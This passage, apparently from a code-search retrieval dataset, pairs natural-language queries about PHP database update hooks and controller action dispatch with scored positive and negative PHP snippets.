successfully.'], REST_Controller::HTTP_OK);\n }", "title": "" }, { "docid": "300affc3e347352118abf8f750c6f95f", "score": "0.5054016", "text": "function _runPostPlugins() {\n $addData = array();\n\n foreach ($this->plugins as $plugin) {\n $addData = array_merge($addData, $plugin->post());\n }\n\n if ($this->container['first_request']) {\n $this->db->storeAddData($this->container['accesslog_id'], $addData);\n }\n }", "title": "" } ]
ed787ebd53061c43d569a7068b5edef6
Code to be run before updating the object in database
[ { "docid": "ab76da957a958073baad1dee4cee4a4b", "score": "0.0", "text": "public function preUpdate(ConnectionInterface $con = null)\n {\n if (is_callable('parent::preUpdate')) {\n // parent::preUpdate($con);\n }\n return true;\n }", "title": "" } ]
[ { "docid": "37349785d9805dac7e4485760cf2d34f", "score": "0.7932748", "text": "protected function before_update() {\n }", "title": "" }, { "docid": "d086f8fa38be718a4b4b9f300daa5394", "score": "0.7408213", "text": "function before_update() {}", "title": "" }, { "docid": "f8ca89e1fee7373d00eabfde43a85d35", "score": "0.7373339", "text": "public function beforeUpdate() { }", "title": "" }, { "docid": "63b1ade43f57be6882d5dd73b590127e", "score": "0.7119986", "text": "public function preUpdate()\n {\n \t$this->updatedAt = new \\DateTime();\n }", "title": "" }, { "docid": "feab8c292a31ca777772a85c66d56981", "score": "0.70758647", "text": "public function __beforeSave() \n\t{\n\t}", "title": "" }, { "docid": "819c239df94ab7b8c55a0b4411e61174", "score": "0.70594645", "text": "protected function _beforeUpdate()\n {\n // Execute callback if it exists\n if (method_exists($this, 'beforeUpdate')) {\n $result = $this->beforeUpdate();\n if ($result === false) { $this->checkErrors(); }\n }\n }", "title": "" }, { "docid": "1e542bd9e176bbce4f7b01592a01f95a", "score": "0.7031345", "text": "public function onPreUpdate()\n {\n $this->date_modified = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "f925d434208a3c644b0d7ab4f0e67912", "score": "0.70130724", "text": "public function onBeforeUpdate()\r\n {\r\n }", "title": "" }, { "docid": "405ca7cc8af13a795c1da1e3163f5be0", "score": "0.7005542", "text": "protected function _postUpdate()\n {\n }", "title": "" }, { "docid": "4d2f4637c62201c48d1a017e2c726bf7", "score": "0.6997648", "text": "public function preUpdate()\n {\n $this->updatedAt = new \\DateTime('now');\n }", "title": "" }, { "docid": "fc19388794564bad1c374f78b494a1c0", "score": "0.6980189", "text": "public function preSave() {\n\t}", "title": "" }, { "docid": "d57c1dea272064106792a3efac0942c5", "score": "0.6890819", "text": "public function preUpdate()\n {\n $this->dateUpdated = new \\DateTime();\n }", "title": "" }, { "docid": "8028de25ecd8f14b8205fd8025949650", "score": "0.6864183", "text": "public function onPreUpdate()\n {\n $this->updated = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "8028de25ecd8f14b8205fd8025949650", "score": "0.6864183", "text": "public function onPreUpdate()\n {\n $this->updated = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "8028de25ecd8f14b8205fd8025949650", "score": "0.6864183", "text": "public function onPreUpdate()\n {\n $this->updated = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "999854870e78bbf7236edf04c05b4001", "score": "0.68614924", "text": "public function preUpdate()\n {\n $this->updatedAt = new \\DateTime;\n }", "title": "" }, { "docid": "535bc206043612b2a3f5bbedbc125887", "score": "0.6852678", "text": "public function preUpdate(): void\n {\n $this->updatedAt = new \\DateTime();\n }", "title": "" }, { "docid": "be0cf7dcfb27e1ca530927cf14a45683", "score": "0.68409526", "text": "protected function _update()\n {\n }", "title": "" }, { "docid": "b1075adc617f8db7ff05585dec7ad956", "score": "0.6823593", "text": "public function beforeUpdate()\n {\n $this->modified_in = date('Y-m-d H:i:s');\n }", "title": "" }, { "docid": "b1075adc617f8db7ff05585dec7ad956", "score": "0.6823593", "text": "public function beforeUpdate()\n {\n $this->modified_in = date('Y-m-d H:i:s');\n }", "title": "" }, { "docid": "6a0d2ee9776b59e0f0a53187e1728979", "score": "0.67894167", "text": "public function beforeSave();", "title": "" }, { "docid": "433e0c89775e1395840cdce7db6443ac", "score": "0.6787069", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "433e0c89775e1395840cdce7db6443ac", "score": "0.6787069", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "9951ec51d729b5ac879745155ee0e4be", "score": "0.6782007", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new \\DateTime('now');\n }", "title": "" }, { "docid": "d4595e2c6b27ca473b7f5932d0e5906d", "score": "0.6756774", "text": "public function onPreUpdate()\n {\n $this->updateAt = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "14bc38ee3b83c31589e4d6436c6beeba", "score": "0.6753791", "text": "public function onPreUpdate(): void\n {\n $this->date_modified = new DateTime();\n }", "title": "" }, { "docid": "e9bc817abb515d3a6e7c1f6bf0aad61b", "score": "0.67416406", "text": "public function onPreUpdate()\n {\n $this->setModifiedAt();\n }", "title": "" }, { "docid": "326257e1f99552f9fe08d006132f8f04", "score": "0.673187", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "326257e1f99552f9fe08d006132f8f04", "score": "0.673187", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "40d1338555e55e3c6c0fb7df7df4c320", "score": "0.6724169", "text": "public function onPreUpdate()\n {\n $this->setUpdatedAt(new \\DateTime(\"now\"));\n }", "title": "" }, { "docid": "40d1338555e55e3c6c0fb7df7df4c320", "score": "0.6724169", "text": "public function onPreUpdate()\n {\n $this->setUpdatedAt(new \\DateTime(\"now\"));\n }", "title": "" }, { "docid": "f0d8cccc90e51f0fafe847965a173690", "score": "0.67216045", "text": "public function preSaveCallback()\n {\n $this->performPreSaveCallback();\n }", "title": "" }, { "docid": "e6cb769c9ceceb7167ee99d3f9bf5d9c", "score": "0.6707088", "text": "public function preUpdate()\n {\n $this->updatedAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "da74833c8bbe5d6182df3e42e00b3a45", "score": "0.6692434", "text": "public function preUpdate()\n {\n }", "title": "" }, { "docid": "a41fd995418faed5adb404b7f0d16222", "score": "0.66914713", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new DateTime(\"now\");\n }", "title": "" }, { "docid": "95fcb16276194c800cbd46e1ba495aed", "score": "0.66856897", "text": "public function onPreUpdate()\n {\n $this->updated_at = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "95fcb16276194c800cbd46e1ba495aed", "score": "0.66856897", "text": "public function onPreUpdate()\n {\n $this->updated_at = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "95fcb16276194c800cbd46e1ba495aed", "score": "0.66856897", "text": "public function onPreUpdate()\n {\n $this->updated_at = new \\DateTime(\"now\");\n }", "title": "" }, { "docid": "d4e04f75efe3e3a4ca31084984554604", "score": "0.6679294", "text": "function beforeSave(){\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "56dd5441742d1c885aed8697b0a04f77", "score": "0.66558987", "text": "protected function _before_update(&$data,$options) {}", "title": "" }, { "docid": "e96426da5b88b55c1fd7ec17590d8e70", "score": "0.66411513", "text": "public function beforeUpdate()\n {\n $this->updatedAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "e96426da5b88b55c1fd7ec17590d8e70", "score": "0.66411513", "text": "public function beforeUpdate()\n {\n $this->updatedAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "bc5a63c3ced308f239f584968634ce45", "score": "0.6640054", "text": "public function eventBeforeUpdate()\n {\n $this->update_user_id = Yii::$app->adminuser->getId();\n $this->timestamp_update = time();\n }", "title": "" }, { "docid": "2a2dd650332c40648085bbdb87a6d49e", "score": "0.66274065", "text": "protected function _update()\n {\n $this->_setModificationInfo();\n $this->_protectCreatedInfo();\n }", "title": "" }, { "docid": "bea6a7b92d940342ef8f472f8bff954a", "score": "0.66252905", "text": "private function _saveUpdate() {\n $instance = static::create($this->data);\n $this->data = $instance->getData();\n $this->data_status = BaseModel::DATA_DB;\n }", "title": "" }, { "docid": "31ad3a9357bd9a79ecaf67ce0419d749", "score": "0.66242456", "text": "function before_validation_on_update() {}", "title": "" }, { "docid": "148b714f514da00b3ce1a9509b041e13", "score": "0.6615871", "text": "public function preSave() {\n $this->updatePath();\n }", "title": "" }, { "docid": "556b50ee51c4ede6868958d2e2dc40c3", "score": "0.66084015", "text": "public function _event_before_save()\n\t{\n\t\t// {\n\t\t// \t$this->_update_friendships();\n\t\t// }\n\t}", "title": "" }, { "docid": "aa1f853e3c2a59daedf71645d7bb160b", "score": "0.65933204", "text": "protected function validateOnUpdate(){}", "title": "" }, { "docid": "e55525ac3ad3200f9284356e81de29db", "score": "0.6579892", "text": "function preSave($entity);", "title": "" }, { "docid": "0f9bccf5242e770ae320cef704ebc145", "score": "0.6573932", "text": "protected function _beforeSave()\n {\n $this->checkErrors();\n\n // Execute callback if it exists\n if (method_exists($this, 'beforeSave')) {\n $result = $this->beforeSave();\n if ($result === false) { $this->checkErrors(); }\n }\n }", "title": "" }, { "docid": "32fae3cc5f281875dde44af263a19d84", "score": "0.6573484", "text": "static public function preSave(BaseObject $object, PropelPDO $con = null)\n {\n if ($object->isModified())\n {\n $object->removeFromCache();\n }\n }", "title": "" }, { "docid": "d062cec9d6db47c7509d6798a6ea89c4", "score": "0.6566538", "text": "public function prePersistUpdate()\n {\n /* remove NULL */\n if ($this->name === null) {\n $this->name = '';\n }\n }", "title": "" }, { "docid": "491beb8fac784ad779e2d6caf301859d", "score": "0.6565008", "text": "public function beforeUpdate()\n {\n if (!$this->checkDeleted()) {\n if (\n $this->isAttributeChanged() &&\n $this->saveFile($this->getAttribute()) &&\n $this->unlinkOldFile === true\n ) {\n $this->deleteFile($this->getOldAttribute());\n }\n }\n }", "title": "" }, { "docid": "b5737fe2aa15d054a1eff9fe805feacc", "score": "0.6564638", "text": "public function preUpdateCallback()\n {\n $this->performPreUpdateCallback();\n }", "title": "" }, { "docid": "718352c11efa8009f49e3e03e3fa8476", "score": "0.65576196", "text": "public function beforeUpdate()\n {\n // Timestamp the update of the user\n $this->setUpdatedAt(date('Y-m-d H:i:s'));\n }", "title": "" }, { "docid": "709f5bbd77354cfc7e24c6dceae4a997", "score": "0.6552288", "text": "public function onPreUpdate()\n {\n $this->updatedAt = new DateTime();\n }", "title": "" }, { "docid": "ac01f17f4c61cf341bf7eb8e319ffbca", "score": "0.6547488", "text": "public function beforeUpdate()\n {\n $this->update_time = date('Y-m-d H:i:s');\n }", "title": "" }, { "docid": "048c549860cf363b8b8db88ba0961d78", "score": "0.6532778", "text": "public function beforeSave()\n {\n\n $this->logUpdate();\n return parent::beforeSave();\n }", "title": "" }, { "docid": "c4ee867db134cf9263ed905757271a21", "score": "0.6498208", "text": "protected function onUpdate()\n {\n $this->onSave();\n }", "title": "" }, { "docid": "2d684decc51cfd3a0589e9b799325ab2", "score": "0.6492856", "text": "public function onBeforeWrite() {\n\t\tparent::onBeforeWrite();\n\t\t$fieldName = static::single_field_name();\n\n\t\t// previous value would have been set in parent onBeforeWrite method if there was one.\n\t\tif ($this->previousValue($previousValue)) {\n\t\t\t// this checks if state can change, will throw an exception if not\n\t\t\t$this->checkStateChange(self::StateChanging, $previousValue, $this()->{$fieldName});\n\t\t}\n\t\tif (!$this()->isInDB()) {\n\t\t\t// if no value is set then set to a default\n\t\t\tif (!$this()->hasValue($fieldName)) {\n\t\t\t\t$this()->{$fieldName} = static::default_value();\n\t\t\t}\n\t\t\tif (!$this()->{static::initiated_by_field_name()}) {\n\t\t\t\t// set the initiator to the current logged in Member or system admin e.g. for cli\n\t\t\t\t$member = \\Member::currentUser() ?: Application::system_admin();\n\t\t\t\t$this()->{static::initiated_by_field_name()} = $member->ID;\n\t\t\t}\n\t\t} else {\n\t\t\t// set the updater to the current logged in Member or system admin e.g. for cli\n\t\t\t$member = \\Member::currentUser() ?: Application::system_admin();\n\t\t\t$this()->{static::updated_by_field_name()} = $member->ID;\n\t\t}\n\t}", "title": "" }, { "docid": "32decae09a553e065e4ccd29f4f9e81b", "score": "0.648913", "text": "public function beforeValidationOnUpdate()\n {\n $this->modifyAt = time();\n }", "title": "" }, { "docid": "3b00ea397273b61037c905afe21c8b38", "score": "0.64231145", "text": "public function beforeSave(): void\n {\n }", "title": "" }, { "docid": "e7a44de8d49dfd578d660e31ddfdae3f", "score": "0.64209455", "text": "public function beforeSave()\n {\n $this->created = new \\DateTime('now', new \\DateTimeZone('UTC'));\n $this->updated = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "760ca562a014f8bbb4d51732c8007560", "score": "0.64204675", "text": "protected function onBeforeSave()\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "8eb6618a078ebafa55c37037048f414d", "score": "0.64176416", "text": "public function update() {\n $this->db->commitLazyUpdate(static::$tableName, $this->id);\n }", "title": "" }, { "docid": "845e138d1a6d6bfb1dd21700d0d00a12", "score": "0.6415685", "text": "function processPrePersist($om, $object);", "title": "" }, { "docid": "3e256cae5eb0987ac3fe82efd8ff4b80", "score": "0.64124453", "text": "public function onModelBeforeUpdateCallback($objModel);", "title": "" }, { "docid": "7ff22abf8b00c02c5bc15cdf0839cc03", "score": "0.64067197", "text": "function doUpdate()\n\t{\n\t\tglobal $ilDB;\n\n\t\t$affectedRows = $ilDB->manipulateF(\"DELETE FROM rep_robj_xmg_object WHERE obj_fi = %s\",\n\t\t\tarray('integer'),\n\t\t\tarray($this->getId())\n\t\t);\n\t\t$result = $ilDB->manipulateF(\"INSERT INTO rep_robj_xmg_object (obj_fi, sortorder, show_title, download, theme) VALUES (%s, %s, %s, %s, %s)\",\n\t\t\tarray('integer','text','integer', 'integer', 'text'),\n\t\t\tarray($this->getId(), $this->getSortOrder(), $this->getShowTitle(), $this->getDownload(), $this->getTheme())\n\t\t);\n\t}", "title": "" }, { "docid": "1e298489199284afd6f753eabc3c31e8", "score": "0.6403846", "text": "public function beforeSave()\n {\n $this->createdAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n $this->updatedAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "1e298489199284afd6f753eabc3c31e8", "score": "0.6403846", "text": "public function beforeSave()\n {\n $this->createdAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n $this->updatedAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n }", "title": "" }, { "docid": "e03c8063d6afeb19af89a2c7b40e3e24", "score": "0.64003515", "text": "protected function markSave(){\r\n\t\tif ($this->db_id)\r\n\t\t\t$this->objectWatcher->add_dirty($this);\r\n\t\telse\r\n\t\t\t$this->objectWatcher->add_new($this);\r\n\t}", "title": "" }, { "docid": "a4b892c41b4e1261c66baef58865170a", "score": "0.63923955", "text": "public function do_update()\n {\n //\n }", "title": "" }, { "docid": "c41f30c7eb3792906322e00c8aee4dab", "score": "0.6387484", "text": "public function beforeValidationOnUpdate()\n {\n $this->updated_at = DateUtils::getCurrentDateTime();\n }", "title": "" }, { "docid": "a3bb7a540409bfffe019ab2c623a614b", "score": "0.6385385", "text": "public function blameableOnPreUpdate()\n {\n $this->updated_by = $this->getWhoToBlame();\n }", "title": "" }, { "docid": "f2bdee6b898d7c2cb7a6bba4716a5041", "score": "0.63651836", "text": "protected function onBeforeUpdate(Entity $entity)\n {\n }", "title": "" }, { "docid": "74619b6e929fa4a8f3d9703e5ab529df", "score": "0.635437", "text": "public function beforeSave()\n {\n }", "title": "" }, { "docid": "2eb9fa47fe76f2f0578cb03d94d7fec2", "score": "0.6348186", "text": "public function beforeSave(){\n\t}", "title": "" }, { "docid": "47b8d2ff7bc4aa099e632a83a8f78587", "score": "0.63261205", "text": "public function _event_before_update();", "title": "" }, { "docid": "57073b571f0f3585c740f4f4b84b25d2", "score": "0.6295692", "text": "public function beforeSave()\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "6e5fcdbb263c0a53780a36e5031becc8", "score": "0.62924784", "text": "protected function OnBeforeUpdate()\n\t\t{\n\t\t\t// Default return true if this method is not extended:\n\t\t\treturn( true );\n\t\t \n\t\t}", "title": "" }, { "docid": "1638d9d2d403e5dbf5a52cd6318d301b", "score": "0.6284854", "text": "function before_save() {}", "title": "" }, { "docid": "4aeff0a54029334a5b767264f3fcb2fc", "score": "0.6274841", "text": "public function onPreUpdate()\n {\n }", "title": "" }, { "docid": "b57c7d5cd4a22dd89a084afcdae4a58a", "score": "0.6268006", "text": "public function prePersist()\n {\n $this->createdAt = new \\DateTime('now', new \\DateTimeZone('UTC'));\n $this->updatedAt = clone $this->createdAt;\n }", "title": "" }, { "docid": "e191d94751156e8b8e11a18c6ea83389", "score": "0.626362", "text": "public function postUpdate()\n {\n }", "title": "" }, { "docid": "6e5d7a359edcb951006a1e343624d1fe", "score": "0.6261984", "text": "public function preUpdateAt()\r\n {\r\n $this->updateAt = new DateTime();\r\n }", "title": "" }, { "docid": "4c3a2dd4fb8a4daef8ff91bdfa9fef4e", "score": "0.6260601", "text": "function validate_on_update() {}", "title": "" }, { "docid": "c559d7d712fd0c676f647645100b892d", "score": "0.6256871", "text": "public function beforeValidationOnUpdate()\n {\n $this->created = time();\n }", "title": "" }, { "docid": "168284920afa0a549f3352959ac870c6", "score": "0.6254435", "text": "protected function onBeforePersist(){}", "title": "" }, { "docid": "7aa819891de5002d260a26a778d70bfa", "score": "0.6252146", "text": "public function preUpdateAt()\n {\n $this->updateAt = new DateTime();\n }", "title": "" }, { "docid": "763212b1689342d7889e1c2db846ef21", "score": "0.62518466", "text": "public function postLoad()\n {\n $this->updated = new \\DateTime();\n }", "title": "" }, { "docid": "e1a76b9ccd6cac3fa9564df53d5358a0", "score": "0.6249226", "text": "public function preUpdate()\n {\n $this->medNomb = Utility::upperCase($this->medNomb);\n }", "title": "" }, { "docid": "c37580590cfb1b1fabab8a3db5c6b913", "score": "0.6247965", "text": "protected function update()\n {\n }", "title": "" }, { "docid": "2797b002f37f978db0b1901765fef949", "score": "0.6247965", "text": "public function preUpdate(PreUpdateEventArgs $args)\n {\n $this->preSave($args);\n }", "title": "" }, { "docid": "cbeeb19855fd39bce5e0bde49d7c2aad", "score": "0.624567", "text": "public function onPreUpdate(): void\n {\n $this->updated = new DateTime(\"now\", new DateTimeZone(\"UTC\"));\n }", "title": "" }, { "docid": "cbeeb19855fd39bce5e0bde49d7c2aad", "score": "0.624567", "text": "public function onPreUpdate(): void\n {\n $this->updated = new DateTime(\"now\", new DateTimeZone(\"UTC\"));\n }", "title": "" }, { "docid": "85337e3e7b79e71668bb301695fe8525", "score": "0.62292707", "text": "public function prePersistCallback()\n {\n $this->performPrePersistCallback();\n }", "title": "" }, { "docid": "7b5c61e6a80ae8298ddfd4594b49c784", "score": "0.62285894", "text": "public function onPrePersist()\n {\n $this->setUpdatedAt(new \\DateTime(\"now\"));\n }", "title": "" }, { "docid": "5fa6fe03e10eb9a69249d69a1a9f96ac", "score": "0.6225506", "text": "protected function afterUpdate($sucess){}", "title": "" }, { "docid": "e7748ddc421ea081fef92f2fc58caadf", "score": "0.6222177", "text": "protected function update() {\n }", "title": "" }, { "docid": "e7748ddc421ea081fef92f2fc58caadf", "score": "0.6222177", "text": "protected function update() {\n }", "title": "" } ]
1454c6c375f3e673dd675a6071f4dea9
call action class from the system
[ { "docid": "0ea7a7dd2c6faff93be326cf1e986295", "score": "0.0", "text": "public function action($name) {\n \tif (! is_null($this->system)) {\n \t\treturn $this->system->action($name);\n \t}\n \treturn null;\n }", "title": "" } ]
[ { "docid": "9184503946f5b800b164521bbb810061", "score": "0.76430255", "text": "public function executeAction();", "title": "" }, { "docid": "2e5247e5c6caeea137bb88b870c87572", "score": "0.7540083", "text": "public static function runAction() : void\n {\n echo \"=====================================\\n\";\n $class = '\\Framework\\Commands\\\\' . self::$action . '\\\\' . self::$action;\n $startFunction = new $class();\n $startFunction->start();\n }", "title": "" }, { "docid": "cb7a49ee3cf00171e6d24aeb7368a482", "score": "0.7502661", "text": "public static function exec()\n\t{\n\t\tif(class_exists(ucwords(MODULE_NAME). 'Action'))\n\t\t{\n\t\t\trunaction(MODULE_NAME, ACTION_NAME);\n\t\t}else{\n\t\t\t//rundefault\n\t\t\trunaction('AppBase', 'deal');\n\t\t}\n\t}", "title": "" }, { "docid": "8e8d018b6e76ad35026297c67ca60e52", "score": "0.7122853", "text": "public function run() {\n if (isset($_REQUEST['action'])) { \n $method = 'handle' . $_REQUEST['action'];\n \n if (method_exists($this, $method)) {\n $this->$method();\n }\n }\n }", "title": "" }, { "docid": "b213409a19a0cdaac007dfdc23396b2e", "score": "0.71162575", "text": "public function run()\n {\n $reflector = new ReflectionClass($this->controller);\n $method = $reflector->getMethod($this->action);\n $parameters = $method->getNumberOfRequiredParameters();\n\n if (($parameters) > count($this->params)) {\n error_log(\"Action '$this->action' in class '$this->controller' expects $parameters mandatory parameter(s), you only provided \" . count($this->params) . \".\");\n $this->showerror();\n }\n\n // create an instance of the controller as an object\n $controller = new $this->controller();\n\n // call the method based on $this->action and the params\n call_user_func_array(array($controller, $this->action), $this->params);\n }", "title": "" }, { "docid": "388bd6881f44e9235b5fcd1c102dc88c", "score": "0.70973027", "text": "function callAction($args=NULL)\n {\n // get the method name from \"$args\"\n // !!! Default for front end is stored in 1 index(not backend)\n if(isset($args[1]))\n {\n $method = $args[1];\n // check if the method exist then call it\n if(method_exists($this, $method)){\n $this->$method( $args );\n }\n }else{\n $this->main($args);\n }\n }", "title": "" }, { "docid": "d381bce217c609e16e3f43da68a73a29", "score": "0.707277", "text": "public function runAction($action)\n {\n \n \n if (method_exists($this, $action)) {\n $this->action = $action;\n $this->{$this->action}();\n }\n else {\n $classController = get_class($this);\n throw new Exception(\"Action '$action' not defined in the class '$classController'\");\n }\n }", "title": "" }, { "docid": "3a90101d7d14a3e5f34af2dd958d5bce", "score": "0.7048249", "text": "abstract function execute($action);", "title": "" }, { "docid": "9d670a8c685d1071ddbf7824e02d38ba", "score": "0.6994659", "text": "public function runAction(){\n $op = isset($_GET['op']) ? $_GET['op'] : 'showOp';\n if(method_exists($this, $op)) $this->$op();\n else {\n $this->showOp();\n }\n }", "title": "" }, { "docid": "9f1015eb4c4759e8c46cbcd0df30af3e", "score": "0.6975869", "text": "public function execute() {\n // Defieniere die aufzurufende Klasse und Action-Methode\n $controllerClassName = '\\\\EJC\\\\Controller\\\\' . $this->controller . 'Controller';\n $controller = new $controllerClassName($this, $this->view);\n $actionName = $this->action . 'Action';\n\n // Rufe die Action mit den Parametern auf\n call_user_func_array(array($controller, $actionName), $this->actionParams);\n }", "title": "" }, { "docid": "5967c74d291d67fe04698625a02ddf2c", "score": "0.69543225", "text": "abstract public function processAction();", "title": "" }, { "docid": "89ef9530c06e94818a20d21f4d819f5c", "score": "0.6929823", "text": "public function runAction($controllerClass, $actionName);", "title": "" }, { "docid": "84d381ee3d18d857c4980083c2f334a5", "score": "0.6888989", "text": "public function delegate() {\n\t\t$action = $_REQUEST['action'];\n\t\t$this->$action();\n\t}", "title": "" }, { "docid": "399084be0a99cca5239ceffb01ee2851", "score": "0.68787116", "text": "public function execute() \n {\n $opdracht = $this->action.'Action';\n if(!method_exists($this,$opdracht))\n {\n $opdracht = 'defaultAction';\n $this->action = 'default';\n }\n $this->$opdracht();\n $this->view->setAction($this->action);\n $this->view->setControl($this->control);\n $this->view->toon();\n }", "title": "" }, { "docid": "a84d0fc0ee36cf4cbe4b03fac28fef0a", "score": "0.68079054", "text": "private function actions() {\n\t}", "title": "" }, { "docid": "4245322909540928afb235d820ec063e", "score": "0.6744139", "text": "public function invoke()\r\n {\r\n $this->action = Util::getAction($this->action);\r\n\r\n match ($this->action) {\r\n 'show_admin_login' => $this->showAdminLogin(),\r\n 'login_admin' => $this->loginAdmin(),\r\n 'logout_admin' => $this->logoutAdmin(),\r\n 'under_construction' => $this->showUnderConstruction(),\r\n 'list_products' => $this->displayProductList(),\r\n 'delete_product' => $this->processDeleteProduct(),\r\n 'show_add_form' => $this->showAddProductForm(),\r\n 'add_product' => $this->processAddProduct(),\r\n 'customer_search' => $this->showCustomerSearch(),\r\n 'display_customer' => $this->displayCustomer(),\r\n 'update_customer' => $this->processUpdateCustomer(),\r\n 'display_customers' => $this->displayCustomerSearchResults(),\r\n default => $this->showAdminLogin()\r\n };\r\n }", "title": "" }, { "docid": "cee29225d3707e77370c4fac246fffbe", "score": "0.67428756", "text": "public function invoke() {\n\n trace(\"Running addon controller\", $this);\n if ($_SERVER[\"REQUEST_METHOD\"] == \"GET\") {\n $this->controller->onGet();\n } elseif ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\n $this->controller->onPost();\n }\n }", "title": "" }, { "docid": "e2d4c60a3d72ede28a9e7027c1030e01", "score": "0.67302257", "text": "public function action();", "title": "" }, { "docid": "45b33c2fb03cc6863cef93da88be860c", "score": "0.6695883", "text": "public function run(){\n $controllerCorrente = $this->getController();//Chama a funcao getController na linha 51\n\n $c = new $controllerCorrente(); //Cria objeto do tipo que vem no controller\n call_user_func_array(array ($c, $this->getMetodo()), $this->getParametros()); \n }", "title": "" }, { "docid": "f4da155e80fb38f321d1f08ab3bf1ec2", "score": "0.667634", "text": "public function dispatch() {\n\n //find if the url match any specified route\n $args = $this->find_match($this->url, $this->routes);\n\n //set data\n $action = isset($args['action']) ? $args['action'] : '';\n $id = isset($args['id']) ? $args['id'] : '';\n $admin = isset($args['admin']) ? $args['admin'] : '';\n\n if ( !empty($action) ) {\n\n if ( preg_match('/@/', $action) ) {\n\n list($object, $method, $params) = $this->get_call_params($action, $id, $admin);\n call_user_func_array(array($object,$method), $params);\n\n } else {\n echo \"invalid method supplied for the route: \" . $this->url;\n }\n\n } else {\n echo \"invalid route: \" . $this->url;\n }\n\n }", "title": "" }, { "docid": "bb44613031ceaa529cd117eab70d6a95", "score": "0.6657272", "text": "protected function executeAction() {\r\n\t\t\r\n\t\t$params = $this->extractRequestParams();\r\n\t\t\r\n\t\t$this->mShowVersions = $params['version'];\r\n\t\t$this->mAction = $params['action'];\r\n\r\n\t\t// Instantiate the module requested by the user\r\n\t\t$module = new $this->mModules[$this->mAction] ($this, $this->mAction);\r\n\r\n\t\tif (!$this->mInternalMode) {\r\n\r\n\t\t\t// See if custom printer is used\r\n\t\t\t$this->mPrinter = $module->getCustomPrinter();\r\n\t\t\tif (is_null($this->mPrinter)) {\r\n\t\t\t\t// Create an appropriate printer\r\n\t\t\t\t$this->mPrinter = $this->createPrinterByName($params['format']);\r\n\t\t\t}\r\n\r\n\t\t\tif ($this->mPrinter->getNeedsRawData())\r\n\t\t\t\t$this->getResult()->setRawMode();\r\n\t\t}\r\n\r\n\t\t// Execute\r\n\t\t$module->profileIn();\r\n\t\t$module->execute();\r\n\t\t$module->profileOut();\r\n\r\n\t\tif (!$this->mInternalMode) {\r\n\t\t\t// Print result data\r\n\t\t\t$this->printResult(false);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "dcad930542717178cd4a7db8c007c49b", "score": "0.66521645", "text": "private function callAction($action,$args=array()) \n\t{\n\t\t// generate the method name by prepending 'action_' and make sure it is defined\n\t\t$method = 'action_'.$action;\n\t\tif (!method_exists($this,$method)) {\n\t\t\t$this->error(\"Unknown command: '{$action}'\\nType '{$this->_name} help' for usage.\");\n\t\t}\n\t\t\n\t\t// call the action passing the $args array as function parameters\n\t\tcall_user_func_array(array($this,$method),$args);\n\t}", "title": "" }, { "docid": "6d999561735343eb5c8d4cb754f35696", "score": "0.6650648", "text": "public function actions();", "title": "" }, { "docid": "f37dd66ad9a2b7a7efa2721a90073687", "score": "0.66484904", "text": "public function ExecuteAction() {\r\n return $this->{$this->action}($this->urlvalues, $this->action2, $this->action3);\r\n }", "title": "" }, { "docid": "6fce7eaf679733c10301b948abac3e1f", "score": "0.66468495", "text": "public function executeAction()\n {\n throw new Frapi_Error('METHOD_NOT_ALLOWED');\n }", "title": "" }, { "docid": "3833868d56edc139bc8a8ff643b1fb3b", "score": "0.66422033", "text": "private static function ExecuteAction(){\r\n\t\t$action = self::$Action;\r\n\t\tswitch (self::$Object){\r\n\t\t\tcase 'PARTNER':\r\n\t\t\tcase 'PARTNERS':\r\n\t\t\tcase 'DTOPARTNER':\r\n\t\t\t\tself::$Result = DtoPartnerModel::$action(self::$Params);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'REGION':\r\n\t\t\tcase 'REGIONS':\r\n\t\t\tcase 'DTOREGION':\r\n\t\t\t\tself::$Result = DtoRegionModel::$action(self::$Params);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'LANGUAGE':\r\n\t\t\tcase 'LANGUAGES':\r\n\t\t\tcase 'DTOLANGUAGE':\r\n\t\t\t\tself::$Result = DtoLanguageModel::$action(self::$Params);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'BUNDLE':\r\n\t\t\tcase 'DTOBUNDLE':\r\n\t\t\t\tself::$Result = DtoBundleModel::$action(self::$Params);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'TYPE':\r\n\t\t\t\tself::$Result = TypeModel::$action(self::$Params);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'LOG':\r\n\t\t\t\t//TODO: must be generics\r\n\t\t\t\tself::$Result = LogModel::FindByBundleId(self::$Params['id']);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tthrow new Exception('Unable to recognize Model class \"'.self::$Object.'\". (AjaxHandler::ExecuteAction)');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": 